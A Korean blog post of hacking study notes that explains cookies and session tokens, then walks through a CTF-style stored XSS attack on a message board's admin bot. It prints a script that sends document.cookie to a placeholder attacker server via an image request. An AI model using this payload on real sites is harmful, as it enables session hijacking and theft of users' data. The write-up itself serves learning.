ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • XSS 이용하여 쿠키 탈취하기 및 취약점 분석 보고서
    IT/웹 해킹 2024. 1. 11. 20:18

    [이 블로그는 해킹 공부하면서 가볍게 정리용으로 기록 및 내 생각을 끄적여 두기 위한 블로그(라 쓰고 일기라 읽는)이다.]

     

    • 목차
    1. 쿠키란 무엇인가
    2. 쿠키 탈취의 위험성
    3. 쿠키 탈취 코드
    4. 쿠키값 탈취하기
    5. 취약점 분석 보고서

     

     

    1. 쿠키란 무엇인가

    쿠키(cookie)란 웹 페이지에서 클라이언트가 서버에 접속하여 요청을 보낼 때 같은 요청을 보낼 시 효과적인 정보 전달 및 보안을 위해  자기 정보를 http요청/응답 헤더에 포스트잇처럼 붙여놓은 것을 말한다. 유저의 id를 입력받은 서버는 set 쿠키를 유저에게 보내 유저의 쿠키 저장소에 저장을 하고 그 뒤의 통신에는 쿠키값이 일치하는지를 통해 서버와 통신을 하게 된다.

     

    하지만 쿠키값 변조 및 탈취 등등 위험 때문에 세션 id를 서버에 저장하여 통신을 하게 되는데 이때 이용자가 많아지면 계속 db서버에 요청이 들어올 시 세션 id와 요청된 세션과 일치하는지 조회를 하게 되면 서버 입장에서 부하가 걸리는 단점 때문에 토큰 방식을 요즘 사용하는 추세이다. jwt토큰은 헤더, 페이로드, 서명을 세파트로 구분하여 헤더는 base64 url 인코딩하고 서명은 헤더와 페이로드를 합친 것을 암호화하여 base64 url로 한번 더 인코딩하여 무결성을 강화한 것이다.

     

    2. 쿠키 탈취의 위험성

    보통 쿠키 저장소에 남는 것은 중요한 정보는 아니라고는(영속 쿠키) 하지만 인증을 위해 쓰여지는 쿠키 값에는 세션 및 토큰의 정보가 들어있는 세션 쿠키를 스니핑 당하게 된다면 그 쿠키값을 이용하여 세션을 탈취하게 되고 개인정보 유출을 비롯하여 2차 피해로 커지게 되는 위험이 존재한다.

     

    3. 쿠키 탈취 코드

    쿠키에 관한 것을 알아보았으니 이제 쿠키를 가져올 수 있는 코드를 알아보자.

     

    <script> alert(1); </script>

    라는 기본적인 경고 알림창을 띄우는 스크립트를 지난 시간에 다루어 보았는데 여기서 조금만 수정을 해주면 된다.

     

    <script>

    var cookieData = document.cookie;

    var i = new Image();

    i.src = "https://공격자서버/?=" + cookieData;

    </script>

     

    코드 설명을 해보자면 알기 쉽게 표현하기 위해 document.cookie를 cookieData로 변수 지정을 해주고

    이미지 태그를 생성 후 이미지 소스의 페이지를 공격자 서버로 향하게 넣어주고 뒤에 쿠키데이터를 붙여 자신의 쿠키값을 전달하게 하는 코드이다.

    이미지 소스가 있다면 사용자의 브라우저에서는 이미지를 불러오기 위해 무조건 저 링크를 열게 되는데 그 허점을 이용하는 간단하고 기초적인 방식이다. 이 방법 말고도 html img 태그와 이벤트 헨들러를 이용하는 방법, html href 이용 등등 이 있다.

     

     

    4. 쿠키값 탈취하기

     

    1) 시나리오

    악의적인 사용자가 서버의 XSS 취약점을 발견한다. 경로 [게시판 - 글쓰기]

    취약점 위치에 공격자 서버[리퀘스트빈 이용]로 사용자의 쿠키가 보내지는 악성 스크립트를 삽입한다.

    사용자[관리자 봇]은 스크립트가 삽입된 곳에 접근한다. (1인 2역을 위한 설정)

    접근과 동시에 쿠키값 탈취

     

    2) 과정 (스크린샷)

     

    • 제목란에 위 설명했던 쿠키 탈취 코드를 넣어 글쓰기

     

     

    • 작성 완료 후 게시글에 작성된 악성코드글을 클릭

     

     

    • 사용자 측에선 아무 일도 일어나지 않은 것처럼 보임

     

     

    •  공격자서버[리퀘스트빈]에서 GET방식으로 쿠키값이 잘 전달된 모습 확인

     

     

     

    • 관리자 봇에게 악성코드가 저장된 게시물의 링크를 넣고 visit 버튼 누르기

     

    • 관리자가 접속했다는 메시지 확인

     

    • 관리자 봇의 쿠키값[플래그] 획득!

     

     

    5. 취약점 분석 보고서 (pdf 첨부파일)

    위에 예제 말고도 XSS가 나오는 곳의 취약점을 찾아서 분석하여 보고서를 작성해 보았다. 관심 있으신 분들은 허접하지만... 읽어보시라고 파일첨부를 해본다... (Stored, Reflected, DOM Based, 필터링 우회, 서버에 입력된 스크립트문 이용하기, url 파라미터 노출 이용, 검증의 과정이 서버 측이 아닌 클라이언트 측 일 때의 허점)

    취약점 분석 보고서_백승호_20240103.pdf
    4.30MB

Designed by Tistory.